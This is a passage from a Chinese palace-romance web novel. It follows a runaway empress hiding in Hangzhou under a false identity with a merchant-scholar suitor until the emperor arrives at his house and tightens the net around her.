三个多月后,隆冬时节她终于抵达江南,左思右想选择在杭州府下船,街上竟四处都是守卫!天寒地冻的,客栈门前也全贴的她的画像。 一路在船上她倒是没察觉,如今到了富庶的杭州府,她发现皇帝简直布下天罗地网寻她!她明明已经逃得很远了 在小食摊上吃碗豆花的功夫,已经有两波衙役经过,郁稚哪里敢住客栈啊,那是自寻死路!! 包裹里空有一堆银金珠宝,就只能在街边瑟瑟发抖。对了那些首饰上也刻有御造字样,她也不敢去当铺 郁稚想起一个人,那个人今年科考落榜以后应该会回到杭州府,下一届科考才会高中,而后一步一步走到她身边,成为除了戚离以外她最器重的臣子! 那人名叫江一城,性子跳脱,最会吃喝玩乐,常在她耳边吹嘘说,“皇后娘娘,臣在杭州府可是坐拥半座城,人送外号江半城!” “臣风流倜傥,杭州府各大青楼的姐姐们各个都对我趋之若鹜,都要嫁我!” “戚离那个冷面佛没意思,陛下又远在千里之外,皇后娘娘若是寂寞想要男宠,臣愿意效劳!” “臣不成亲是有原因的,父母在世时给我订过娃娃亲,那姑娘的名字可好听了,叫陈幻香,就在苏州府,可是我后来派人去提亲,怎么都找不到人了。我父母又都走了,我就耽搁到现在。” “皇后娘娘,你就收了臣当男宠吧!臣一定好好伺候皇后!” 上一世的最后,她被父兄圈禁在未央宫,江一城曾冒死闯进来要救她 事到如今,她只能冒用陈幻香的名字去找江一城! 隆冬时节天黑得早,她曾听江一城说过,江南难得下雪,今夜就碰上了,人倒霉起来真的喝凉水都塞牙!好冷! 郁稚此时身着破棉袄,抱着个破包裹,小脸被她用炭擦得黑不溜秋。哪怕是皇帝见了她,恐怕也得分辨分辨。 按着印象中江一城的描述,她找到了江府,果不其然,真是好大一座府邸。江一城出身商贾之家,父母早亡,留给他偌大的家业。 郁稚抬手叩门,开门的应该是管家护院他们,郁稚真担心这模样被当做叫花子,可是外头街上巡逻的人太多了,她真的走投无路了! “叫花子你找谁?” 郁稚听到熟悉的声音,没想到开门的正是一身绫罗风流倜傥的江一城,还是那张玩世不恭的脸。 郁稚:“我、我叫陈幻香。” “不认识,我们这没这么个人。”江一城火速合上了门。 不认识?不认识?!!郁稚站在冷风中凝住了,难道上一世什么所谓的娃娃亲、未婚妻都是江一城编的? 对,没错,这个人就是这么不着调!! 完了,她要么冻死在街头,要么被押送到萧歧面前!! “嘿嘿,吓着了吧?”一个脑袋从门口露出来,江一城笑得一脸邪气,“快进来,未婚妻。” 江一城:“我跟你开个玩笑,你别哭啊。” 在巡逻的侍卫注意到这里之前,江一城将她拽进江府大门。郁稚长长地舒了一口气,谢天谢地!!也谢自己上一世招纳了那么多年轻臣子,这一世都能用上! 江一城丝毫没有起疑心,只是皱着眉头瞧她,“又瘦又丑,个子倒是不矮。行了,本少爷认栽了,谁叫我们定了娃娃亲呢。” 郁稚活了两世,还是头一次被人说丑,她擦了擦脸,不但没擦干净,手上还沾染了碳灰。 江一城嫌弃道:“来人,带她下去洗洗干净,本少爷可不和小叫花子成亲。” 婢女总听江一城说他有个定了娃娃亲的未婚妻,如今人真来了,故而她们都对郁稚格外恭敬,烧水的烧水,取衣服的取衣服,郁稚又饿又冷,进入浴桶之后才有了回魂的感觉。 婢女们小心地清洗她的头发,发现小叫花子有一头浓密乌黑的头发。用布巾轻轻擦拭她黑黢黢的的脸颊,随着碳灰被擦拭掉,少女瓷白的面颊渐渐显露。 四个伺候沐浴的婢女们皆愣住了,她才不是什么小叫花子!未来少夫人有着一双晶莹美目,肌肤瓷白细腻,乌发披散肩神,皆说江南出美人,她们见识过不少,可美成这样的还是头一次见,简直是倾国倾城,举世无双! 难怪少爷总是念叨他这未过门的妻子,这样美妙的女子若是被送入皇宫,皇后娘娘也能当得的! 婢女们伺候她出浴,轻轻擦拭肌肤,她从发丝到玉足,每一处都是美得心旷神怡,饶是女人也移不开眼睛。 一双纤纤玉手,看起来没有干过一点儿活,该是怎样的富贵人家才能养出这样的女儿。 花厅里正等人开饭,江一城自从科举落榜回到杭州府后,心里十分苦闷。 “好了,答应父母要考中科举,今年无望,好不容易把未婚妻等来了,没想到是个叫花子丑姑娘。” “幸而少爷我是不是个负心汉,我还是会娶她的。” “她不会是一路乞讨来的杭州府吧?” “快快,这一桌菜恐怕不够,再叫厨房去备几个热菜。” 奴才小厮们在边上道,“少爷别急啊,少夫人不好看,你可以纳美妾嘛,青楼里多少美人等着你婚后进我们江家的门呢。” 江一城:“那不行,少爷我不能沉迷女色,我还是要用功读书,将来去皇城当大官!” “少爷,陈姑娘过来了。”婢女前来禀告。 江一城毫不在意:“来就来了,快给本少爷盛饭。” 郁稚着一袭滚狐毛边锦袄,在婢女的引路之下经过长廊迈入花厅,“多谢江公子收留。” 她可以确定江一城没有前世记忆,这一世能找到他,郁稚真是十分欢喜,如见一位故友,还解了她燃眉之急! 她在江府躲个三年五载的,就不信皇帝还找她! “坐下吧、”江一城接过婢女递来的饭碗,抬眸看过去,想着小叫花子那张乌漆嘛黑的脸,哪怕是洗干净了想必也丑得很。 然后视线相触的刹那江一城手中的筷子瞬间滑落,他仰着脑袋瞠目结舌,向来八面玲珑的公子哥,此刻如痴傻了一般。 江一城惊呼道:“请问你谁?!!!” 郁稚心头一紧,难道是刚才自己那副模样,他没看清她的脸,如今看清了,他发现她不是陈幻香?还是说他也像戚离一样有着前世记忆,认出她就是皇后了?! 第70章 第 70 章 嫁我 “来来来, 陈姑娘一路赶来杭州府,路上必定吃住不好,这鱼脍新鲜,多用一些。”江一城给郁稚夹的菜堆在饭碗上, 都有小山那样高了。 少年一双眼眸熠熠生辉, 自从郁稚跨入花厅, 他瞧见她这洗去一身污垢的容貌, 眼睛就没有移开过。 郁稚编了个谎言,说当年随父母离开苏州去了皇城做生意, 结果母亲病故, 父亲遭人陷害入狱也死了,自己是千里迢迢从皇城赶来投奔他的。 江一城感慨道,“我今年也去了皇城科考,若是早知你家境遇,必定会在皇城找你,免得姑娘你一个人孤苦伶仃行了这么长的路。” 江一城:“放心, 陈姑娘,你我自小定了娃娃亲, 我一直在等你, 等过了年关咱俩就成亲, 如此我们两家父母在黄泉之下也安心了。” 啊?啊? 郁稚险些被鱼汤呛到, “我不能做你的妻子!” “为何?!”江一城心急火燎道,“难道是陈姑娘不满意我?你放心,虽然你是孤女,但我聘礼不会少的,必定八抬大轿把你风风光光娶进门!” 郁稚:“我给人做过妾,万万不敢再想着嫁给江公子你为妻。” 江一城:“你有夫君了!!”少年倍感震惊, 未婚妻如此貌若天仙,他都不知道该怎么欢喜才好了。 郁稚支支吾吾,“就是那个将我父亲坑害入狱的恶霸,强迫我为妾,我是从他家逃出来的” 江一城不错眼地盯着她,一瞬间福至心灵恍然大悟,“难怪、难怪我总觉得在哪里见过姑娘,外头街上贴着你的画像?!!” 郁稚哭诉:“对,那个恶霸与京城的大官有勾结,故而倒打一耙,报官说是家中买来的妾跑了,派人到处搜捕我,我实在是走投无路,才跑来杭州府寻求公子庇佑。若是公子怕惹上麻烦,我走就是了” 郁稚放下饭碗,她对江一城这个人了如指掌,虽然看着不着调,实则为人仗义,最看不得欺男霸女之事,必定会出手相助。 “不准走!!”江一城一把捉过少女的手腕,“你我定了娃娃亲,你就是我妻子!我不会嫌弃你嫁过人!幻香你放心,若是那恶霸寻上门来,我必定护你周全,我江一城在杭州府还是有些身份地位的!” 郁稚于是又坐下继续用饭,一路行来确实吃住不好,江南的菜清淡鲜香,十分合胃口。 “那就多谢江公子了” 江一城生怕她走了,这么仙女似的人给他当妻子,他做梦都要笑醒,“那个恶霸势力很大么,我头一次听说京城的人找逃跑的妾,竟然能差遣得动江南的衙门。” “京城的富户,结交了不少官员,故而手伸得那么长,若是江公子害怕,等我用完这顿饭就走,绝对不连累你”少女美目晶莹,清纯可怜,就这么将哭不哭的模样,叫人心都化了。 江一城听后心急火燎:“不准走!你进了我江家的门,哪怕豁出命去,我必定要护着你!!” 郁稚浅浅一笑,真是手到擒来,江一城的脾性还是与前世一般无二!随随便便就忽悠住了! 郁稚就在江家安顿下来,江一城是城中巨富,官府也给几分颜面,进府搜查也是装装样子。 官府张贴的画像与郁稚太像,她都不太敢出门,江一城对她以礼相待,每日都会给他带新奇好玩的东西,郁稚其实对他很熟稔,两人的相处是很愉快的。 江一城还说等风声过去了,要给她办一场盛大的婚仪,郁稚一直以自己给人当过妾为理由拒绝。 江一城被拒绝也不沮丧,赶在除夕前将裁缝请来家中为她制新衣,二十多件衣裳,一半是喜庆颜色。 郁稚再没有皇城的消息,直至入夏前,风波才渐渐平息,街上她的画像被揭掉了,城中侍卫也不再寻找她的踪迹。 江一城:“那恶霸终于放弃寻你了,我想也是,他再有钱也不能长长久久地使唤全天下的衙役找你吧?” 郁稚心想他是使唤得动的。至于皇帝为何收手了,大约是被御史知道后劝谏了么? 不管怎样,她都自由了。 **** 江一城对她越来越殷勤,前世他就一心要当她的男宠,口口声说说要给她暖凤榻,当年自己还想着,若她是个普通人,没有皇权在手,她大约会随他去杭州府,看一看他所谓的半个城的产业,尝一尝江南的美酒,跟着他进入赌坊见识见识,随他泛舟湖上,他说湖边的莲花每年都开得很好。 今日江一城邀她泛舟,郁稚答应了,自从那日踏入江府大门,已经小半年了,倒春寒的天气也都过去了,城中正是繁花盛开的春日。 郁稚迫不及待去领略江南风光! 这一日她着一身鹅黄色素纱长裙,江一城待她很好,纵然她足不出户,他也命人为她制了漂亮的春裙,替她置办了许多金银首饰。 两世完全是不同的心境,若抛开她对皇帝的愧疚,郁稚真的是无限轻松快活。 今日是泛舟的好日子,江一城包下整艘画舫。 江一城亲手煮茶,“昨日应邀去杭州知府家中做客,他家老太太又问起我的婚事,非要给我说亲事,我就同她说了你的事,希望幻香姑娘你不要介意。” “你说什么了?”郁稚手持罗扇,与他相对而坐,湖上风光无限好,春风和煦,春日正是万物生发之季,远处的荷花开得正盛,确实如江一城上一世所言那么美。 江一城不错眼地盯着她,眼前的女子实在是美得人心旷神怡,她言谈举止,一颦一笑都美。 “我就同她说我已经有了未婚妻,所以现在知府大人他们都知道我要成亲了”江一城将她所有的神情变化都收入眼底,“若是陈姑娘答应,那我们可以赶在入夏之前将婚礼办了。你放心,只要你嫁给为妻,往后江府你说了算,你掌着账房钥匙!” 郁稚:“” 虽然杭州府很好,但郁稚是打算再过阵子就跑路的,天大地大,她想四处游玩,领略不同的风土人情。 郁稚:“我好不容易脱身,暂时没想这么快再嫁所以、” “懂!”江一城爽朗一笑,“我等着姑娘,那么多年都等过来了,三年五载都不成问题,姑娘只管安心在我江府住下!哪怕一辈子不成亲,我也陪着姑娘!” 上一世江一城最让郁稚喜欢的一点就是识时务,嬉皮笑脸的但进退得当。 郁稚长舒了一口气。 只是两人交谈间,画舫边上不知何时多了一艘华丽的宝船,又高又大,瞬间这艘画舫就被比了下去。 江一城直皱眉,“哪里来的船!城里还有比江家还富贵的人家么?!敢来本首富面前装!!来人啊,赶快叫他们滚远!别打扰陈姑娘与本少爷的雅兴!!” 江一城出门都会带家丁,但郁稚望向那艘宝船,船边上每隔一尺都站着一位穿官靴的戴刀侍卫。 坐在船舱里的人来头不小,官府的人。 一个念头油然而生,但是下一瞬又被郁稚否定了,不、不可能的。 傍晚下画舫时,江一城先跳下岸,而后殷勤地朝着她伸出手,“画舫不稳当,姑娘要小心。” 郁稚在他的搀扶之下稳稳地到了岸上。 上了岸郁稚才发现,那艘宝船早已经停靠岸边,岸上停着几辆马车,为首的那辆最为华贵,十数个侍卫护着,旁人靠近不得。 江一城的四驾马车已经是很吸引人注意了,现在又被比了下去。 江一城:“什么人需要那么多侍卫?怕是做老什么亏心事吧。走走走,幻香姑娘,酒楼就在前头,他们家的鳜鱼做得特别好,还有桑果酒真是一绝,你一定要尝一尝,肯定会喜欢!” 郁稚心中的担忧被江一城三言两语弄得消散了。 她真是多虑了,毕竟风声已经过去那么久,皇帝不会寻来的。而且若是他找到她,自己这会儿肯定已经被凌迟处死了。 江一城带她去了杭州府最好的酒楼,美酒佳肴,谈天说地,实在是快活。 江一城:“说实话,我遇到过的那么多姑娘,唯独幻香姑娘你是我的知己,我与你一道谈天最是合得来!” 郁稚觉得自己与他在一道也最轻松自在。 江一城:“你就嫁给我吧!我保证对你好!你别看我这个人表面不着调,其实我胸怀大志,我将来一定会考中进士,带你风风光光回皇城,让你做高官夫人,帮你报仇!!” 郁稚:“” 傍晚时分他们离开酒楼,江一城已经喝醉了,郁稚搀扶着他上马车。 江一城整个身子都靠在她肩头,嘴里不断咕哝着,“嫁给我吧,考虑考虑,嫁给我吧!你不答应,我就不上马车!” 真的是烂醉如泥,郁稚无奈道,“好好好,我答应嫁给你,快上马车,我们回府!” 郁稚耗尽全力将江一城弄上马车,吩咐小厮驾车回府。 放下帘子时,又在街对面瞧见了那辆马车,天醉楼时城中最有名的酒楼,达官显贵来此处也不奇怪。 70-80 第71章 第 71 章 接驾 郁稚在江府有单独的院落与奴仆, 江一城克己复礼从不踏足半步,江府的人也将她当成主子侍奉。 江南气候湿润,这半年来她足不出户,肌肤养得愈加水润清透, 总之她很满意现在的生活, 虽不比宫里的富贵。唯一苦恼的是带出来的金银首饰太过精致繁复、独一无二, 她一样都不敢典当, 生怕引起皇城那位的注意。 翌日她照样早起与江一城一道用膳,江一城昨日醉得厉害, 这会儿清醒得很, 不错眼地盯着她。 江一城:“陈姑娘,我们选个好日子将婚期定下来吧?” 郁稚正喝粥,险些呛到,“什么婚期?!” 江一城咧嘴露出一口大白牙笑道,“你昨日不是答应嫁我了么?你放心三媒六聘我肯定不少你的!我父母在世时已经替我备好聘礼单子了!有半里地那么长呢!” 郁稚:“你昨日不是醉了么?!!” 江一城:“我也没那么醉。那就说好了啊,我去请媒婆了, 知府大人知道我俩的情形,他家老夫人说要认你做干女儿, 到时候你从中他们府中出嫁!” 这种事他究竟是什么时候说好的! 郁稚:“我暂时还不想二嫁, 若江公子急着成亲, 要不让知府大人的母亲替你说一门别的亲事?” 江一城脸上的笑意无影无踪, “幻香姑娘觉得我哪里不好么?我江一城长得也算俊俏吧?家中殷实,你嫁给我必定不会吃苦,况且我还积极上进,从前还去青楼听曲儿什么的,你来了小半年,我偶尔管管家中生意, 其余时候都在书房读书,我是在父母坟前发过誓的要高中状元、” 郁稚:“江公子什么都好,你志向高远,而我是从皇城过来的,再不肯回去了” 听他这么说,江一城眉宇之间显出落寞。 江一城:“既然你不喜欢,那我就不考功名了。” 郁稚真的是山穷水尽了,郁稚:“那你不是要为光耀门楣么?” 江一城坦然一笑,“已去之人哪里有眼前人重要!” 就在这一瞬间,郁稚有两个选择,第一她可以嫁给江一城从此留在杭州府过安稳日子,第二她该离开了 她又端起粥碗,做出了选择,她要离开江府,横竖风声已过,天高海阔任由她去何处。 随后几日她每日去街市转悠,打听到了销赃的地方,不论是什么物件,偷来的抢来的都可以转卖给他们,小贩拍胸脯保证,哪怕是皇后的冠冕他们也能拆掉分开卖钱! 郁稚着急筹路费,她打算去苏州府转悠转悠,等玩够了再想去何处! 今日膳后,她抱着那一大包裹的金银首饰,准备从江家后门走。 “陈姑娘这是预备去何处?”赵管家将她拦住,这位赵管家脾气不好,曾私下劝江一城好好查一下她是不是陈幻香,这事还被江一城当做笑话讲给她听。 郁稚:“我有几件不穿的衣裳,想拿去善堂给孩子们。” 善堂是萧歧这两年在各地设立的,专门用来收养孤儿们。 赵管家不买账,忽得变脸,伸手夺过郁稚怀里的包裹一打开,“好啊,果然是贵重的物件!!快、快去请少爷,我就知道她是个女贼!!” 郁稚:“不、不是,赵管家你瞧瞧里头哪一件首饰是江家的?” 周围奴仆们一看包裹里头全是耀眼夺目的首饰,再看看郁稚那仓皇的神情,立马判定赵管家所言不错,急匆匆去书房找来江一城。 郁稚真慌了,若是江家报官,那她小命不保! 江一城来得很快,赵管家三言两语说清来龙去脉,将一包裹的首饰交到他手中。 郁稚心高高吊起,每一件首饰上头都有御造的字样!!她伪装的身份必定是要被拆穿了!! 岂料江一成江包裹重新盖起来,“赵管家,你自己去领罚,十杖!” 赵管家:“少爷?!你怎么、你怎么、” 江一成:“陈姑娘是我父母至交之女,你敢对她不敬?况且这包裹里的首饰精致昂贵,我们江府虽然富庶,但已经许久没有购置这等首饰了,这是陈姑娘自己的物件!” 江一城替她解了围,“陈姑娘受惊了,跟我来书房吧。” 郁稚深知江一城的为人,他瞧着不着调,其实心思细腻,必定已经发现端倪知道她冒用了陈幻香的身份!! 进了书房合起门来,他就将包裹还给了她。 江一城:“姑娘是打算典当这些首饰么?” 郁稚:“是” 江一城:“上头都有御造字样,若是典当了,怕是会被那个恶霸发现,我这儿有些银票,你拿好,以后账房每月都支银子给姑娘,姑娘是我父母至交之女,还请姑娘安心住下。你不愿与我成亲,我是不会逼你的,咱俩像这样做个伴也挺好,只要你不嫌弃我。” 聪明人是不会刨根问底的,若是他继续问这些首饰怎么来的,郁稚可真要跑路了。 但是这些东西留着终究不安心。 郁稚开口道,“这些都是我从皇城带来的,街市上有贩子说可以收,而且销得干干净净,故而我不想留在身边了” 江一城冲着她笑笑:“我来替你去办。” 郁稚瞬间愣了神,上一世的江一城是她身边的能臣,任何事情都可以办得妥妥帖帖。他的志向是当大官,当万世留名的大官,后来她成了天下人口中的妖后,他最终结局是什么呢?被骂做奸臣? 这些首饰换了一大笔钱,足足三万两银子,那样硕大的宝石、那样精湛的工艺,饶是街市的小贩也不敢压价太过,江一城将银票给她,并未多过问一句。 不论是戚离还是江一城,前世若没有跟着她走歪路,必定都是能力卓越的好官,若她没有那么恨萧歧,说不定还是一位贤后。 可惜啊 江府确实很好,郁稚在这儿很自在,故而暂时打消了离开的念头。 可就是月末的那日,江一城那夜回家很晚,他被邀请去知府大人府上做客,回来以后命人请她来前厅说话。 “姑娘猜猜有什么大好事?!” 郁稚:“知府大人给了你个小官做?” 江一城富得流油,唯一能令他这么欢喜的,也只有这一件事了。 江一城:“姑娘小看人,我江某人要当官,必定要走科考这一条路,将来高中以后,请个锣鼓队伍敲敲打打绕城三天三夜!” 江一城神秘一笑,“告诉你,我们江府要接驾啦!!” 江一城:“知府大人今日特意邀了城中几位富豪名士前去议事,讨论陛下下榻在哪座府邸,虽然其他几位有的有功名在身,有的祖上当过官,我虽然祖上从商,但我也是个举子,外加城中我们江家的宅院最气派最舒适,故而定了我们家。只要接了驾,以后整个江南谁人不知道我江一城的名声、还有、” 江一城喋喋不休地说着,完全没留意郁稚那惨白的脸。 难道是那些首饰的缘故?那不可能啊!哪怕被人发现,书信传到皇城也得小半个月啊!! 她、她得马上离开江府,连夜离开!!远走高飞!! 郁稚:“知府大人有说,圣驾何时莅临么?” 江一城:“就这几日,我得赶紧吩咐下去,需要置办许多物件,还有要委屈你了,姑娘的院子需得腾出来,还请姑娘搬到西厢房暂住,等圣驾离开后再搬回去。” 郁稚现在住的院落是整座江府最华贵精致的院子,故而知府大人特意指名要这个院子给皇帝作下榻用。 收拾行李跑路!! 江一城对她关怀备至,先是命婢女们将郁稚的细软打包好,再亲自带人帮她将用惯的家具物件挪去西厢房。 郁稚简直失了魂,她趁乱收拾了几件衣物还有那些银票,趁着月黑风高要离开江府。 然而刚迈出大门就发现,江府不知何时已经被城中侍卫层层包围了,别说人了,连只鸟都飞不出去!!!郁稚简直绝望了!! 江一城也惊奇,询问过侍卫才知道实情。 江一城:“知府大人真的是有先见之明,他怕我们江府的人出去到处乱说走漏了消息,到时候惊扰圣驾就不好了。他命人先将我们府保护起来,免去了许多麻烦。横竖就这几日了,知府大人还说府中要添置物件尽管写了单子给门口的侍卫,他们自会去买来。” 江一城:“对了,到时候陈姑娘要与我一道接驾,就说是我未过门的妻子。知府大人说我这么大年纪还未成亲,若是叫陛下知道不好,一方面是陛下觉得我不稳重,二是怕到时候乱点鸳鸯谱,瞧我长得俊俏,将什么郡主点给我,那就不好了。” 江一城满脸欢喜,接驾这种事风光程度只稍稍逊色于高中科举。 江一城:“可惜我父母见不到这盛况!” 郁稚脊背发凉、面色苍白、直冒冷汗,天底下哪有这么巧合之事!!萧歧、萧歧一定是知道她躲在江府!! 第72章 第 72 章 迎驾赐婚 随后几日郁稚想了无数法子离开江府都不成。 反而是知府家中的女眷夫人们, 因着郁稚要迎驾,故而派裁缝替她新制了喜庆衣裳,快入夏了,江南气候宜人, 苏州船运而来的丝帛绚丽轻薄, 格外富丽炫目, 制成裙裳穿在身上实在美轮美奂。 入夏前一日的晌午, 知府大人忽得派人传来消息,圣驾已入城, 官员们要陪着皇帝去巡视河道, 皇帝还要查问官员,预计圣驾会在傍晚时抵达江府用膳,吩咐江一城务必准备好。 江一城立即告知了郁稚,命人为她梳妆打扮,到时候他与她一道迎驾。皇帝长年征战在外,如今好不容易来一趟江南, 官员名士们都想一睹龙颜! 江一城笑道,“听闻陛下生得玉树临风、丰盛俊朗, 但我江某人也是江南俊俏儿郎, 到时候陈姑娘瞧瞧, 我与他谁更好看。” 郁稚眼前一黑感觉天都要榻了, 这、这若真是萧歧来江府,见到她的第一眼,她恐怕就血溅当场了! 萧歧究竟是知道她的行踪赶来,还是恰好来此处呢? 郁稚扶了扶额头跌坐在椅榻上,“我今日不大舒服,许是中暑了, 若是接驾时晕了过去,那就是圣驾面前失仪,我一个没有身份的女子,还是不去凑热闹了。” 江一城是知道她这几日中暑的,已经请大夫来瞧过,“听闻陛下身边随身带了御医,要不夜里请御医瞧瞧,左不过备上三五百两银子谢人家?” 他对她是真细心周到,郁稚心中感激,又怕自己牵连他,“就只是中暑,哪怕是华佗再世也是这样瞧,不用劳烦御医了,你尽心迎驾就成。” 江一城:“好,那你歇着,我多派几个婢女在门口侯着,你若真不适就差人来告诉我。听说陛下住一夜就离开,明日我再请大夫来好好瞧瞧。” “好好,你快去吧。”郁稚真的是心急如焚。 一下午,她在西厢房坐立不安,只求皇帝住一夜就走,千万不要发现她的行踪!! “你瞧见圣驾了么?” “那么多高官簇拥着他,我没瞧见,只瞧见了那位娘娘,肤若凝脂、美若天仙,官眷们对她巴结得紧,也不知是皇后还是贵妃,那么年轻” “这回将天醉楼的大厨全请来了,只为叫陛下尝尝我们江南的菜肴。大厨们各个拿出看家本事,还想着若皇帝喜欢,就能进宫当御厨呢!” “若我们伺候得好,那会不会也能跟着回皇城啊?” “好了,快点儿走。” 长廊下两个婢女匆匆经过,圣驾已经进江府了,此刻正在前厅用膳。郁稚心头揪紧了,她房中也有婢女,但她今夜只叫她们点了一盏灯。 自己没有被揪出去,那是不是意味着,皇帝不知她在江府。 对,一定是这样,只要自己躲在此处,明日萧歧一离开,从此就风平浪静了。 婢女们口中那位娘娘是谁呢?李檀?还是说皇帝身边有新人了? 郁稚思绪紊乱,若他有新人了也好,自己就可以彻底脱身了,这一世放过彼此,才是最好的选择。 郁稚静静坐着,婢女们来传膳,“少爷让大厨将外头花厅里的菜原样多做了一份,里头有姑娘平日里爱吃的糖藕、八仙过海、三十多样呢,知道姑娘食量小,每样装这小小的一碟,还说姑娘中暑,做了清火的汤羹,姑娘快吃吧。” “少爷还问姑娘身子如何,若还是不适,夜里他就去偷偷请大夫。” 皇帝夜宿江府,按理不许其他外人再进府的,江一城这是冒着死罪。郁稚瞧着一桌精致小巧的菜肴,外头什么场面,江一城这种时候还有心思照顾她 *** 花厅里原本只摆放一张膳桌,专供君王用膳,但皇帝命人换成一张张小食案,邀官员与其家眷们一道用膳。 江南的官员们向来听闻皇帝雷厉风行,御下严苛,一整日伴着皇帝,却发现年轻的君王为人亲和极了!江一城原本立在外头候命,皇帝却命人传他进前厅,坐下一道用膳。 皇帝随身带着一位面容姣好的女子、性子温婉,皇帝也没说她的身份,于是女眷们自然将她当做娘娘侍候着。 皇帝:“这是你的宅邸?” 江一城不卑不亢,“回禀陛下,正是草民的宅邸。” 皇帝打量着年轻的男人,“不错,很雅致。你成亲了么?可有子嗣?” 江一城看向君王,这位天底下权势最盛的男人真如传闻中那般高贵英俊,举手投足间这气势、这仪态,皆非常人所能比。 他原本想提一提陈幻香,说自己已经有未婚妻,但不知为何,在君王如此这般的眼神之下,他不想提陈幻香了,想将她藏起来据为己有! “回禀陛下,臣一心读书考功名,所以尚未成亲。” 知府大人开口道,“回禀陛下,江举人已经有了未过门的妻子,自小定的娃娃亲,只是这女子父母双亡,年前寻来杭州,两人有幸团聚,臣见过这女子,知书达理确实是良配,臣家中女眷们也都很喜欢她,臣的母亲要收她为义女,就等着择了婚期,到时候从臣家中出嫁。” 君王手持酒杯,淡淡笑道,“原来如此,自小定亲,看来感情深厚,怎么不见这女子?” 江一城莫名心慌,“回禀陛下,她一个柔弱女子,近日病了,怕在圣驾面前失仪,故而在后院休养。” 皇帝幽幽道,“你们江家用心为朕准备下榻之地,何不请那女子出来,朕好为你们二人赐婚。” 江一城愣住,脑子里第一个想法是绝对不能叫皇帝看到陈幻香,否则自己将会永远失去她!! 知府大人见他这模样,“江举人还不谢恩!!”又吩咐自己的夫人,“你快去请陈姑娘,这天大的好事,快叫她来前厅拜见陛下谢恩!” 官员与其家眷们纷纷附和!皇帝亲自赐婚,这很快就会成江南的一段佳话了!! 郁稚焦灼整晚,想着前厅的晚膳快结束了,自己这脑袋还好好的,该是虚惊一场。 “陈姑娘?陈姑娘?!” 知府夫人与其他几位官员女眷寻来西厢房,开门瞧见郁稚正在椅榻上发呆,她已经沐浴完了,此刻正穿着寝衣散着发。 知府夫人心急,“快快快,取衣柜里最华丽的衣裳来,我来亲自替陈姑娘穿衣上妆!!” 其他夫人附和,“别叫陛下等久了!” 郁稚一头雾水,她们这是要做什么?诶诶诶?怎么将她按在梳妆台前哪?!! 她挣脱不得,这些夫人恨不得吃了她,知府夫人亲自替她上妆梳头,梳了个妇人发髻,簪上金簪,“陈姑娘真是好福气,陛下亲自赐婚,说不定还会给江举人赐个官职,往后你也是官夫人了!” 几位夫人又围拢着她替她褪去寝衣,女人们无不赞叹她一身凝脂雪肌,再换上新制的软烟罗裙裳,这么一瞧真是举世无双,别说是男人,连女人都对她心动! 远比皇帝身边那位娘娘更惊艳美貌!甚至有几位夫人心中暗暗腹诽,若她不是江一城的未婚妻,今夜就这么往皇帝面前一站,必定会得圣宠,带回皇城从飞上枝头。 郁稚挣脱不得,如同牵线木偶被她们一群人摆弄,而后又被簇拥着望前厅走,“姑娘一会儿到了陛下面前记得行礼。” “姑娘知道怎么行礼么?我教你。” “哎呀,知府夫人,陛下已经等许久了,就别耽搁了!” “是啊,陛下知道陈姑娘是民间女子,不会计较的!” “就是,若是学了礼仪,反而显得刻意了。” 郁稚举步维艰,路过花园那口井时,真的恨不得跳下去,但她一双手臂都被人握着,简直是叫天天不应叫地地不灵! 前厅灯火通明,婢女们进出传膳,郁稚感觉自己是上断头台! 萧歧就是故意的!他没有开门见山抓她,而是如同狡猫逗鼠,郁稚真绝望了,只求皇帝给她个痛快! “禀告陛下,陈姑娘人来了。”知府大人高声道。 事到如今,无可挽回了,郁稚垂首进入前厅,先跪下规规矩矩行了一礼,众人诧异她一个民间女子,怎么行礼比其他夫人都要熟稔标准。 皇帝眸光落在少女身上,“平身。” 这熟悉的声音,听得郁稚头皮发麻,真的是他。 皇帝:“听说你是苏州人?” 啊? 知府夫人立在她身边提醒,“陈姑娘,陛下问你话。” 皇帝:“抬起头来。” 郁稚不得不照做,抬头的瞬间眼神交汇,郁稚呼吸都停滞了,小半年不见,男人眉宇间更加锋利,“是、是,民女是苏州人。” 皇帝:“朕倒是没怎么听过苏州话,你说几句给朕听一听。” 她哪里会说苏州话啊!郁稚垂泪欲泣,萧歧就是要折磨她,他这一回必定不会手下留情了! 知府大人:“陈姑娘,你就说几句给陛下听。” “回禀陛下,臣的未婚妻确实是苏州人,但自小随父母去了皇城做生意,故而不会苏州话。”此时江一城站出来替她解围,更是走到她身边。 皇帝笑道:“江举人真是护妻心切,到底是自小青梅竹马。” 旁人没听出来,郁稚知道皇帝这话的每一个字都是碾在齿间,带着杀气的。 她一恍神,瞧见了皇帝身边的女子,夫人们口中那位娘娘,竟然是、竟然是芍药?! 所以她逃走之后,皇帝宠幸了芍药?芍药眼神殷切地望着她,仿佛有千言万语同她说。 江一城:“臣的未婚妻自小胆怯,头一次面圣,在陛下面前失仪,还请陛下不要怪罪。” 皇帝:“是朕吓着她了,既然说要赐婚,那明日朕就亲自下一道赐婚的圣旨。朕还想参加你们二人的婚仪。” 知府大人:“陛下隆恩!!他们二位父母皆已经不在人世,陛下肯出席婚仪,那真是解了难题了!!” 江一城牵过她的手,在皇帝面前跪下谢恩,而后领着她在食案前坐下。 余下的时光,皆是官员们在皇帝面前歌功颂德、溜须拍马,江一城鲜少说话,每一次开口都是在关心她,问她中暑好些了么? 问她想不想吃点酒?问她饭菜合胃口么? 两人的食案就在皇帝边上,郁稚尽量小声说话,生怕皇帝听见,自己就是被架在炉子上烤!!生生地煎熬!! 而皇帝呢?他泰然自若,游刃有余地应对着官员的谄媚讨好。 晚膳过后会发生什么呢?郁稚一点儿也猜不透!光是想一想就害怕! 第73章 第 73 章 听说江夫人要见朕? 晚膳甚是煎熬, 郁稚好不容易熬到宴散,她躲回西厢房,浑身颤抖不止。 一切风平浪静,待到下半夜, 婢女敲门进来, “陈姑娘!那位娘娘派人来请你过去说话。” 芍药要见她?! 郁稚没有迟疑离开西厢房, 前去皇帝下榻的院落, 此时萧歧必定已经歇息,芍药这是背着皇帝偷偷见她。 两人在廊下相逢, 芍药迎上来, 握住郁稚一双手,“皇后,这半年以来,奴婢一直担心皇后!!” 郁稚:“究竟发生何事?皇帝这是查到我在杭州府,还是巧合?” “皇后如此好奇,怎么不直接来问朕?”男人如鬼魅般的声音从柱后响起, 郁稚惊得抬眸望过去,这才发现皇帝一直站在那处!! 芍药一脸歉意, “皇后” 所以芍药也是被迫的。郁稚心间颤抖, 双腿发虚, 连转身逃跑的力气都没有了, 他正如地狱归来的冤魂,她逃到何处,他就追到何处! 